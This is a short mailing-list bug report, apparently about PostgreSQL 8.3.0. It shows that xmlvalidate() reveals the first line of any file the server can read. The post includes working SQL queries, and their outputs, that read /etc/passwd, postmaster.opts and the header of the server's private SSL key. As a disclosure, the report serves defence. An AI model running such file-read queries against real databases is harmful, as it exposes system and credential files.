Hi, all
seb=> select version();
version
--------------------------------------------------------------------------------------------------------------------
PostgreSQL 8.3.0 on x86_64-pc-linux-gnu, compiled by GCC
x86_64-pc-linux-gnu-gcc (GCC) 4.1.2 (Gentoo 4.1.2 p1.0.2)
xmlvalidate(xml, text) trying to read from file and if it is not correct -
notice error with first readed line. it is ok and good, but xmlvalidate can
read from _any_ file what DB process can access for read.
for example:
seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '/etc/passwd');
ERROR: could not load DTD
ПОДРОБНО: /etc/passwd:1: parser error : Content error in the external subset
root:x:0:0:root:/root:/bin/bash
^
seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '../data/postmaster.opts');
ERROR: could not load DTD
ПОДРОБНО: ../data/postmaster.opts:1: parser error : Content error in the
external subset
/usr/lib64/postgresql-8.3/bin/postgres -D /var/lib/postgresql/8.3/data --silent-
^
first line from private server ssl key :)
seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '../data/server.key');
ERROR: could not load DTD
ПОДРОБНО: ../data/server.key:1: parser error : Content error in the external
subset
-----BEGIN RSA PRIVATE KEY-----
^
i don't know is this bug or security issue or not...
---------------------------(end of broadcast)---------------------------
TIP 2: Don't 'kill -9' the postmaster
